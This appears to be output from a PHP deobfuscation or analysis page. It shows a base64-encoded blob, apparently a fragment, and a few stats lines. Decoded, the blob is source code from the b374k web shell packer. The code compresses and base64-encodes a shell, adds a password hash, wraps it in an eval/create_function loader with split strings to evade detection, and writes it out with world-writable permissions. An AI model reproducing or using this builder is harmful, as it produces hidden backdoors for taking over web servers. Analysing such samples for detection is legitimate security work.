XVsnaWQnXT09JG1vZHVsZSkgcmV0dXJuIHRydWU7DQoJfQ0KCXJldHVybiBmYWxzZTsNCn0NCg0KZnVuY3Rpb24gcGFja2VyX3BhY2tfanMoJHN0cil7DQoJJHBhY2tlciA9IG5ldyBKYXZhU2NyaXB0UGFja2VyKCRzdHIsIDAsIHRydWUsIGZhbHNlKTsNCglyZXR1cm4gJHBhY2tlci0+cGFjaygpOw0KfQ0KDQpmdW5jdGlvbiBwYWNrZXJfYjM3NGsoJG91dHB1dCwgJHBocGNvZGUsICRodG1sY29kZSwgJHN0cmlwLCAkYmFzZTY0LCAkY29tcHJlc3MsICRjb21wcmVzc19sZXZlbCwgJHBhc3N3b3JkKXsNCgkkY29udGVudCA9ICIiOw0KCWlmKGlzX2ZpbGUoJG91dHB1dCkpew0KCQlpZighaXNfd3JpdGFibGUoJG91dHB1dCkpIHJldHVybiAiZXJyb3IgOiBmaWxlICIuJG91dHB1dC4iIGV4aXN0cyBhbmQgaXMgbm90IHdyaXRhYmxle1t8YjM3NGt8XX0iOw0KCX0NCg0KCWlmKCFlbXB0eSgkcGFzc3dvcmQpKSAkcGFzc3dvcmQgPSAiXCRHTE9CQUxTWydwYXNzJ10gPSBcIiIuc2hhMShtZDUoJHBhc3N3b3JkKSkuIlwiOyAvLyBzaGExKG1kNShwYXNzKSlcbiI7DQoNCgkkY29tcHJlc3NfbGV2ZWwgPSAoaW50KSAkY29tcHJlc3NfbGV2ZWw7DQoJaWYoJGNvbXByZXNzX2xldmVsPDApICRjb21wcmVzc19sZXZlbCA9IDA7DQoJZWxzZWlmKCRjb21wcmVzc19sZXZlbD45KSAkY29tcHJlc3NfbGV2ZWwgPSA5Ow0KDQoJJHZlcnNpb24gPSAiIjsNCglpZihwcmVnX21hdGNoKCIvXFxcJEdMT0JBTFNcWyd2ZXInXF1cICo9XCAqW1wiJ10rKFteXCInXSspW1wiJ10rLyIsICRwaHBjb2RlLCAkcikpew0KCQkkdmVyc2lvbiA9ICRyWzFdOw0KCX0NCgkNCgkkaGVhZGVyID0gIjw/cGhwDQovKg0KCWIzNzRrIHNoZWxsICIuJHZlcnNpb24uIg0KCUpheWFsYWggSW5kb25lc2lha3UNCgkoYykiLkBkYXRlKCJZIix0aW1lKCkpLiINCglodHRwczovL2dpdGh1Yi5jb20vYjM3NGsvYjM3NGsNCg0KKi9cbiI7DQoNCg0KCWlmKCRzdHJpcD09J3llcycpew0KCQkkcGhwY29kZSA9IHBhY2tlcl9zdHJpcHMoJHBocGNvZGUpOw0KCQkkaHRtbGNvZGUgPSBwcmVnX3JlcGxhY2UoIi8oXCB7Mix9fFxuezIsfXxcdCspLyIsICIiLCAkaHRtbGNvZGUpOw0KCQkkaHRtbGNvZGUgPSBwcmVnX3JlcGxhY2UoIi9cci8iLCAiIiwgJGh0bWxjb2RlKTsNCgkJJGh0bWxjb2RlID0gcHJlZ19yZXBsYWNlKCIvfVxuKy8iLCAifSIsICRodG1sY29kZSk7DQoJCSRodG1sY29kZSA9IHByZWdfcmVwbGFjZSgiL1xuK30vIiwgIn0iLCAkaHRtbGNvZGUpOw0KCQkkaHRtbGNvZGUgPSBwcmVnX3JlcGxhY2UoIi9cbit7LyIsICJ7IiwgJGh0bWxjb2RlKTsNCgkJJGh0bWxjb2RlID0gcHJlZ19yZXBsYWNlKCIvXG4rLyIsICJcbiIsICRodG1sY29kZSk7DQoJfQ0KDQoNCgkkY29udGVudCA9ICRwaHBjb2RlLiRodG1sY29kZTsNCg0KCWlmKCRjb21wcmVzcz09J2d6ZGVmbGF0ZScpew0KCQkkY29udGVudCA9IGd6ZGVmbGF0ZSgkY29udGVudCwgJGNvbXByZXNzX2xldmVsKTsNCgkJJGVuY29kZXJfZnVuYyA9ICJneicuJ2luJy4nZmxhJy4ndGUiOw0KCX0NCgllbHNlaWYoJGNvbXByZXNzPT0nZ3plbmNvZGUnKXsNCgkJJGNvbnRlbnQgPSBnemVuY29kZSgkY29udGVudCwgJGNvbXByZXNzX2xldmVsKTsNCgkJJGVuY29kZXJfZnVuYyA9ICJneicuJ2RlJy4nY28nLidkZSI7DQoJfQ0KCWVsc2VpZigkY29tcHJlc3M9PSdnemNvbXByZXNzJyl7DQoJCSRjb250ZW50ID0gZ3pjb21wcmVzcygkY29udGVudCwgJGNvbXByZXNzX2xldmVsKTsNCgkJJGVuY29kZXJfZnVuYyA9ICJneicuJ3VuJy4nY29tJy4ncHJlJy4nc3MiOw0KCX0NCgllbHNlew0KCQkkZW5jb2Rlcl9mdW5jID0gIiI7DQoJfQ0KDQoJaWYoJGJhc2U2ND09J3llcycpew0KCQkkY29udGVudCA9IGJhc2U2NF9lbmNvZGUoJGNvbnRlbnQpOw0KCQlpZigkY29tcHJlc3MhPSdubycpew0KCQkJJGVuY29kZXIgPSAkZW5jb2Rlcl9mdW5jLiIoYmEnLidzZScuJzY0Jy4nX2RlJy4nY28nLidkZShcJHgpKSI7DQoJCX0NCgkJZWxzZXsNCgkJCSRlbmNvZGVyID0gImJhJy4nc2UnLic2NCcuJ19kZScuJ2NvJy4nZGUoXCJcJHhcIikiOw0KCQl9DQoNCgkJJGNvZGUgPSAkaGVhZGVyLiRwYXNzd29yZC4iXCRmdW5jPVwiY3JcIi5cImVhdFwiLlwiZV9mdW5cIi5cImN0aVwiLlwib25cIjtcJGIzNzRrPVwkZnVuYygnXCR4JywnZXYnLidhbCcuJyhcIj8+XCIuIi4kZW5jb2Rlci4iKTsnKTtcJGIzNzRrKFwiIi4kY29udGVudC4iXCIpOz8+IjsNCgl9DQoJZWxzZXsNCgkJaWYoJGNvbXByZXNzIT0nbm8nKXsNCgkJCSRlbmNvZGVyID0gJGVuY29kZXJfZnVuYy4iKFwkeCkiOw0KCQl9DQoJCWVsc2V7DQoJCQkkY29kZSA9ICRoZWFkZXIuJHBhc3N3b3JkLiI/PiIuJGNvbnRlbnQ7DQoJCQkkY29kZSA9IHByZWdfcmVwbGFjZSgiL1w/PlxzKjxcP3BocFxzKi8iLCAiIiwgJGNvZGUpOw0KCQl9DQoJfQ0KDQoJaWYoaXNfZmlsZSgkb3V0cHV0KSkgdW5saW5rKCRvdXRwdXQpOw0KCWlmKHBhY2tlcl93cml0ZV9maWxlKCRvdXRwdXQsICRjb2RlKSl7DQoJCWNobW9kKCRvdXRwdXQsIDA3NzcpOw0KCQlyZXR1cm4gIlN1Y2NlZWRlZCA6IDxhIGhyZWY9JyIuJG91dHB1dC4iJyB0YXJnZXQ9J19ibGFuayc+WyAiLiRvdXRwdXQuIiBdIEZpbGVzaXplIDogIi5maWxlc2l6ZSgkb3V0cHV0KS4iPC9hPntbfGIzNzRrfF19Ii5wYWNrZXJfaHRtbF9zYWZlKHRyaW0oJGNvZGUpKTsNCgl9DQoJcmV0dXJuICJlcnJvcntbfGIzNzRrfF19IjsNCn0NCg0KPz4=
Function Calls
None |
Stats
MD5 | 08507c25d0b35607a906a88dcaabec96 |
Eval Count | 0 |
Decode Time | 456 ms |